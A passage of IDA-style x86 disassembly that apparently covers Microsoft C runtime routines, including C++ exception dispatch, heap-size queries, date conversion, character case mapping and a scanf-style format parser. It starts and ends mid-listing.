[ebp+var_8] push eax lea eax, [ebp+var_4] push eax push edi push [ebp+arg_18] push [ebp+arg_10] call sub_417E23 add esp, 14h mov esi, eax loc_41CC39: ; CODE XREF: sub_41CBEC+A2j mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jnb short loc_41CC90 cmp edi, [esi] jl short loc_41CC88 cmp edi, [esi+4] jg short loc_41CC88 mov eax, [esi+0Ch] mov ecx, [esi+10h] shl eax, 4 add eax, ecx mov ecx, [eax-0Ch] test ecx, ecx jz short loc_41CC62 cmp byte ptr [ecx+8], 0 jnz short loc_41CC88 loc_41CC62: ; CODE XREF: sub_41CBEC+6Ej push 1 add eax, 0FFFFFFF0h push [ebp+arg_1C] push [ebp+arg_18] push esi push 0 push eax push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41CDA5 add esp, 2Ch loc_41CC88: ; CODE XREF: sub_41CBEC+57j ; sub_41CBEC+5Cj ... inc [ebp+var_4] add esi, 14h jmp short loc_41CC39 ; --------------------------------------------------------------------------- loc_41CC90: ; CODE XREF: sub_41CBEC+2Fj ; sub_41CBEC+53j pop edi pop esi leave retn sub_41CBEC endp ; =============== S U B R O U T I N E ======================================= sub_41CC94 proc near ; CODE XREF: sub_41CA45+10Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_41CCEB cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_41CCEB mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_41CCC5 add ecx, 8 push ecx push edx call sub_4173D0 pop ecx test eax, eax pop ecx jnz short loc_41CCE7 loc_41CCC5: ; CODE XREF: sub_41CC94+1Fj test byte ptr [esi], 2 jz short loc_41CCCF test byte ptr [edi], 8 jz short loc_41CCE7 loc_41CCCF: ; CODE XREF: sub_41CC94+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_41CCDE test byte ptr [edi], 1 jz short loc_41CCE7 loc_41CCDE: ; CODE XREF: sub_41CC94+43j test al, 2 jz short loc_41CCEB test byte ptr [edi], 2 jnz short loc_41CCEB loc_41CCE7: ; CODE XREF: sub_41CC94+2Fj ; sub_41CC94+39j ... xor eax, eax jmp short loc_41CCEE ; --------------------------------------------------------------------------- loc_41CCEB: ; CODE XREF: sub_41CC94+Bj ; sub_41CC94+14j ... push 1 pop eax loc_41CCEE: ; CODE XREF: sub_41CC94+55j pop edi pop esi retn sub_41CC94 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CCF1 proc near ; CODE XREF: sub_41C9AA+34p ; sub_41CDA5+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_423858 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_41CD23: ; CODE XREF: sub_41CCF1+8Aj cmp esi, [ebp+arg_C] jz short loc_41CD7D cmp esi, 0FFFFFFFFh jle short loc_41CD32 cmp esi, [edi+4] jl short loc_41CD37 loc_41CD32: ; CODE XREF: sub_41CCF1+3Aj call sub_41D252 loc_41CD37: ; CODE XREF: sub_41CCF1+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_41CD52 push 103h push ebx push eax call sub_41D1B0 loc_41CD52: ; CODE XREF: sub_41CCF1+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_41CD72 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_41CD8F pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_41CD72: ; CODE XREF: sub_41CCF1+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_41CD23 ; --------------------------------------------------------------------------- loc_41CD7D: ; CODE XREF: sub_41CCF1+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CCF1 endp ; =============== S U B R O U T I N E ======================================= sub_41CD8F proc near ; CODE XREF: sub_41CCF1+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_41CDA0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CDA0: ; CODE XREF: sub_41CD8F+Cj jmp sub_41D1FC sub_41CD8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CDA5 proc near ; CODE XREF: sub_41CA45+151p ; sub_41CBEC+94p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_41CDC7 push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_41CF56 add esp, 10h loc_41CDC7: ; CODE XREF: sub_41CDA5+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_41CDD3 push edi jmp short loc_41CDD6 ; --------------------------------------------------------------------------- loc_41CDD3: ; CODE XREF: sub_41CDA5+29j push [ebp+arg_24] loc_41CDD6: ; CODE XREF: sub_41CDA5+2Cj call sub_417BFC mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_41CCF1 mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_41CE20 add esp, 2Ch test eax, eax jz short loc_41CE1B push edi push eax call sub_417BBA loc_41CE1B: ; CODE XREF: sub_41CDA5+6Dj pop edi pop esi pop ebx pop ebp retn sub_41CDA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE20 proc near ; CODE XREF: sub_41CDA5+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_423868 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_10] mov [ebp+var_2C], eax xor ebx, ebx mov [ebp+var_24], ebx mov esi, [ebp+arg_4] mov ecx, [esi-4] mov [ebp+var_28], ecx mov ecx, dword_489528 mov [ebp+var_1C], ecx mov ecx, dword_48952C mov [ebp+var_20], ecx mov edi, [ebp+arg_0] mov dword_489528, edi mov ecx, [ebp+arg_8] mov dword_48952C, ecx mov [ebp+var_4], ebx mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push eax push [ebp+arg_C] push esi call sub_417C81 add esp, 14h mov [ebp+var_2C], eax mov [ebp+var_4], ebx or [ebp+var_4], 0FFFFFFFFh call sub_41CEE6 mov eax, [ebp+var_2C] loc_41CEAD: ; CODE XREF: sub_41CEC6+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CE20 endp ; =============== S U B R O U T I N E ======================================= sub_41CEBC proc near ; DATA XREF: .data:00423878o push dword ptr [ebp-14h] call sub_41CF2C pop ecx retn sub_41CEBC endp ; =============== S U B R O U T I N E ======================================= sub_41CEC6 proc near ; DATA XREF: .data:0042387Co mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_417EE2 pop ecx pop ecx xor eax, eax jmp short loc_41CEAD sub_41CEC6 endp ; --------------------------------------------------------------------------- loc_41CEDE: ; DATA XREF: .data:00423870o xor ebx, ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_41CEE6 proc near ; CODE XREF: sub_41CE20+85p mov eax, [ebp-28h] mov [esi-4], eax mov eax, [ebp-1Ch] mov dword_489528, eax mov eax, [ebp-20h] mov dword_48952C, eax cmp dword ptr [edi], 0E06D7363h jnz short locret_41CF2B cmp dword ptr [edi+10h], 3 jnz short locret_41CF2B cmp dword ptr [edi+14h], 19930520h jnz short locret_41CF2B cmp [ebp-24h], ebx jnz short locret_41CF2B cmp [ebp-2Ch], ebx jz short locret_41CF2B call sub_417F4A push eax push edi call sub_41D11A pop ecx pop ecx locret_41CF2B: ; CODE XREF: sub_41CEE6+1Cj ; sub_41CEE6+22j ... retn sub_41CEE6 endp ; =============== S U B R O U T I N E ======================================= sub_41CF2C proc near ; CODE XREF: sub_41CEBC+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_41CF53 cmp dword ptr [eax+10h], 3 jnz short loc_41CF53 cmp dword ptr [eax+14h], 19930520h jnz short loc_41CF53 cmp dword ptr [eax+1Ch], 0 jnz short loc_41CF53 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41CF53: ; CODE XREF: sub_41CF2C+Cj ; sub_41CF2C+12j ... xor eax, eax retn sub_41CF2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CF56 proc near ; CODE XREF: sub_41CDA5+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_423880 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_41D0FF cmp byte ptr [eax+8], 0 jz loc_41D0FF mov eax, [ecx+8] test eax, eax jz loc_41D0FF mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_41CFF3 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_4205FE pop ecx pop ecx test eax, eax jz loc_41D0F6 push 1 push edi call sub_42061A pop ecx pop ecx test eax, eax jz loc_41D0F6 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_41CFE4: ; CODE XREF: sub_41CF56+F5j push eax call sub_41D181 pop ecx pop ecx mov [edi], eax jmp loc_41D0FB ; --------------------------------------------------------------------------- loc_41CFF3: ; CODE XREF: sub_41CF56+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_41D04D mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_4205FE pop ecx pop ecx test eax, eax jz loc_41D0F6 push 1 push edi call sub_42061A pop ecx pop ecx test eax, eax jz loc_41D0F6 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_417FC0 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_41D0FB mov eax, [edi] test eax, eax jz loc_41D0FB add esi, 8 push esi jmp short loc_41CFE4 ; --------------------------------------------------------------------------- loc_41D04D: ; CODE XREF: sub_41CF56+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_41D095 call sub_4205FE pop ecx pop ecx test eax, eax jz loc_41D0F6 push 1 push edi call sub_42061A pop ecx pop ecx test eax, eax jz short loc_41D0F6 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_41D181 pop ecx pop ecx push eax push edi call sub_417FC0 add esp, 0Ch jmp short loc_41D0FB ; --------------------------------------------------------------------------- loc_41D095: ; CODE XREF: sub_41CF56+103j call sub_4205FE pop ecx pop ecx test eax, eax jz short loc_41D0F6 push 1 push edi call sub_42061A pop ecx pop ecx test eax, eax jz short loc_41D0F6 push dword ptr [esi+18h] call sub_420636 pop ecx test eax, eax jz short loc_41D0F6 test byte ptr [esi], 4 jz short loc_41D0DC push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D181 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417BF5 jmp short loc_41D0FB ; --------------------------------------------------------------------------- loc_41D0DC: ; CODE XREF: sub_41CF56+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_41D181 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_417BEE jmp short loc_41D0FB ; --------------------------------------------------------------------------- loc_41D0F6: ; CODE XREF: sub_41CF56+6Aj ; sub_41CF56+7Cj ... call sub_41D252 loc_41D0FB: ; CODE XREF: sub_41CF56+98j ; sub_41CF56+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_41D0FF: ; CODE XREF: sub_41CF56+2Ej ; sub_41CF56+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41CF56 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D1FC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D11A proc near ; CODE XREF: sub_41CA45+170p ; sub_41CEE6+3Ep var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_423890 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_41D161 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_41D161 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_417BEE or [ebp+var_4], 0FFFFFFFFh loc_41D161: ; CODE XREF: sub_41D11A+2Aj ; sub_41D11A+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41D11A endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_41D1FC ; =============== S U B R O U T I N E ======================================= sub_41D181 proc near ; CODE XREF: sub_41CF56+8Fp ; sub_41CF56+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_41D1A2 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_41D1A2: ; CODE XREF: sub_41D181+12j pop esi retn sub_41D181 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1B0 proc near ; CODE XREF: sub_417C81+40p ; sub_41CCF1+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_417F6D push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41D1EF mov ecx, 2 loc_41D1EF: ; CODE XREF: sub_41D1B0+38j push ecx call sub_417F6D pop ebp pop ecx pop ebx leave retn 0Ch sub_41D1B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D1FC proc near ; CODE XREF: sub_41CA45:loc_41CBE7j ; sub_41CD8F:loc_41CDA0j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042064E SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4238A0 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_489534 test eax, eax jz short loc_41D244 mov [ebp+var_4], 1 call eax jmp short loc_41D240 ; --------------------------------------------------------------------------- loc_41D239: ; DATA XREF: .data:004238B0o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D23D: ; DATA XREF: .data:004238B4o mov esp, [ebp+var_18] loc_41D240: ; CODE XREF: sub_41D1FC+3Bj and [ebp+var_4], 0 loc_41D244: ; CODE XREF: sub_41D1FC+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D24D: ; DATA XREF: .data:004238A8o jmp loc_42064E sub_41D1FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D252 proc near ; CODE XREF: sub_417E23+23p ; sub_417E23:loc_417E8Ep ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4238B8 push offset sub_41F4A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_43AE04 test eax, eax jz short loc_41D29A mov [ebp+var_4], 1 call eax ; sub_41D1FC jmp short loc_41D296 ; --------------------------------------------------------------------------- loc_41D28F: ; DATA XREF: .data:004238C8o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41D293: ; DATA XREF: .data:004238CCo mov esp, [ebp+var_18] loc_41D296: ; CODE XREF: sub_41D252+3Bj and [ebp+var_4], 0 loc_41D29A: ; CODE XREF: sub_41D252+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41D2A3: ; DATA XREF: .data:004238C0o jmp sub_41D1FC sub_41D252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D2A8 proc near ; CODE XREF: sub_418303+7p ; sub_418303+26p var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_48AB28 push esi cmp eax, 3 jnz short loc_41D2D1 mov esi, [ebp+arg_0] push esi call sub_41AA89 test eax, eax pop ecx jz short loc_41D2CE mov eax, [esi-4] sub eax, 9 jmp short loc_41D306 ; --------------------------------------------------------------------------- loc_41D2CE: ; CODE XREF: sub_41D2A8+1Cj push esi jmp short loc_41D2F8 ; --------------------------------------------------------------------------- loc_41D2D1: ; CODE XREF: sub_41D2A8+Ej cmp eax, 2 jnz short loc_41D2F5 lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax push [ebp+arg_0] call sub_41B7E4 add esp, 0Ch test eax, eax jz short loc_41D2F5 movzx eax, byte ptr [eax] shl eax, 4 jmp short loc_41D306 ; --------------------------------------------------------------------------- loc_41D2F5: ; CODE XREF: sub_41D2A8+2Cj ; sub_41D2A8+43j push [ebp+arg_0] loc_41D2F8: ; CODE XREF: sub_41D2A8+27j push 0 push dword_48AB24 call dword_4231C0 ; RtlSizeHeap loc_41D306: ; CODE XREF: sub_41D2A8+24j ; sub_41D2A8+4Bj pop esi leave retn sub_41D2A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D309 proc near ; CODE XREF: sub_4183B1+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41D3C5 cmp ebx, 8Ah jg loc_41D3C5 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43B534[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41D348 cmp edi, 2 jle short loc_41D348 inc esi loc_41D348: ; CODE XREF: sub_41D309+37j ; sub_41D309+3Cj call sub_420665 mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43B450 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41D3BB cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41D3C1 cmp dword_43B454, 0 jz short loc_41D3C1 lea eax, [ebp+var_24] push eax call sub_4208D8 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41D3C1 loc_41D3BB: ; CODE XREF: sub_41D309+90j add ecx, dword_43B458 loc_41D3C1: ; CODE XREF: sub_41D309+96j ; sub_41D309+9Fj ... mov eax, ecx jmp short loc_41D3C8 ; --------------------------------------------------------------------------- loc_41D3C5: ; CODE XREF: sub_41D309+13j ; sub_41D309+1Fj or eax, 0FFFFFFFFh loc_41D3C8: ; CODE XREF: sub_41D309+BAj pop ebx leave retn sub_41D309 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3CB proc near ; CODE XREF: sub_418533+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_489540, 0 push ebx jnz short loc_41D3F6 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41D494 cmp eax, 7Ah jg loc_41D494 sub eax, 20h jmp loc_41D494 ; --------------------------------------------------------------------------- loc_41D3F6: ; CODE XREF: sub_41D3CB+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41D429 cmp dword_438C8C, 1 jle short loc_41D416 push 2 push ebx call sub_41A342 pop ecx pop ecx jmp short loc_41D421 ; --------------------------------------------------------------------------- loc_41D416: ; CODE XREF: sub_41D3CB+3Dj mov eax, off_438A80 mov al, [eax+ebx*2] and eax, 2 loc_41D421: ; CODE XREF: sub_41D3CB+49j test eax, eax jnz short loc_41D429 loc_41D425: ; CODE XREF: sub_41D3CB+AFj mov eax, ebx jmp short loc_41D494 ; --------------------------------------------------------------------------- loc_41D429: ; CODE XREF: sub_41D3CB+34j ; sub_41D3CB+58j mov edx, off_438A80 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41D44C and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41D455 ; --------------------------------------------------------------------------- loc_41D44C: ; CODE XREF: sub_41D3CB+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41D455: ; CODE XREF: sub_41D3CB+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_489540 call sub_41E409 add esp, 20h test eax, eax jz short loc_41D425 cmp eax, 1 jnz short loc_41D487 movzx eax, [ebp+var_4] jmp short loc_41D494 ; --------------------------------------------------------------------------- loc_41D487: ; CODE XREF: sub_41D3CB+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41D494: ; CODE XREF: sub_41D3CB+14j ; sub_41D3CB+1Dj ... pop ebx leave retn sub_41D3CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D497 proc near ; CODE XREF: sub_418752+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41DE9D mov edi, [ebp+arg_0] jmp short loc_41D4C6 ; --------------------------------------------------------------------------- loc_41D4C1: ; CODE XREF: sub_41D497+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41D4C6: ; CODE XREF: sub_41D497+28j cmp dword_438C8C, 1 jle short loc_41D4DE movzx eax, al push 8 push eax call sub_41A342 pop ecx pop ecx jmp short loc_41D4ED ; --------------------------------------------------------------------------- loc_41D4DE: ; CODE XREF: sub_41D497+36j mov ecx, off_438A80 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41D4ED: ; CODE XREF: sub_41D497+45j cmp eax, ebx jz short loc_41D527 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41DF24 pop ecx pop ecx push eax call sub_41DF0D movzx eax, byte ptr [esi+1] inc esi push eax call sub_420C8C add esp, 0Ch loc_41D515: ; CODE XREF: sub_41D497+8Ej test eax, eax jz short loc_41D527 movzx eax, byte ptr [esi+1] inc esi push eax call sub_420C8C pop ecx jmp short loc_41D515 ; --------------------------------------------------------------------------- loc_41D527: ; CODE XREF: sub_41D497+58j ; sub_41D497+80j cmp byte ptr [esi], 25h jnz loc_41DE09 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41D55E: ; CODE XREF: sub_41D497+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_438C8C, 1 jle short loc_41D57B movzx eax, bl push 4 push eax call sub_41A342 pop ecx pop ecx jmp short loc_41D58A ; --------------------------------------------------------------------------- loc_41D57B: ; CODE XREF: sub_41D497+D3j mov ecx, off_438A80 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41D58A: ; CODE XREF: sub_41D497+E2j test eax, eax jz short loc_41D5A0 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41D605 ; --------------------------------------------------------------------------- loc_41D5A0: ; CODE XREF: sub_41D497+F5j cmp ebx, 4Eh jg short loc_41D5E3 jz short loc_41D605 cmp ebx, 2Ah jz short loc_41D5DE cmp ebx, 46h jz short loc_41D605 cmp ebx, 49h jz short loc_41D5C0 cmp ebx, 4Ch jnz short loc_41D5F2 inc [ebp+var_D] jmp short loc_41D605 ; --------------------------------------------------------------------------- loc_41D5C0: ; CODE XREF: sub_41D497+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41D5F2 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41D5F2 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41D605 ; --------------------------------------------------------------------------- loc_41D5DE: ; CODE XREF: sub_41D497+113j inc [ebp+var_E] jmp short loc_41D605 ; --------------------------------------------------------------------------- loc_41D5E3: ; CODE XREF: sub_41D497+10Cj cmp ebx, 68h jz short loc_41D5FF cmp ebx, 6Ch jz short loc_41D5F7 cmp ebx, 77h jz short loc_41D5FA loc_41D5F2: ; CODE XREF: sub_41D497+122j ; sub_41D497+12Dj ... inc [ebp+var_F] jmp short loc_41D605 ; --------------------------------------------------------------------------- loc_41D5F7: ; CODE XREF: sub_41D497+154j inc [ebp+var_D] loc_41D5FA: ; CODE XREF: sub_41D497+159j inc [ebp+var_5] jmp short loc_41D605 ; --------------------------------------------------------------------------- loc_41D5FF: ; CODE XREF: sub_41D497+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41D605: ; CODE XREF: sub_41D497+107j ; sub_41D497+10Ej ... cmp [ebp+var_F], 0 jz loc_41D55E cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41D62A mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov 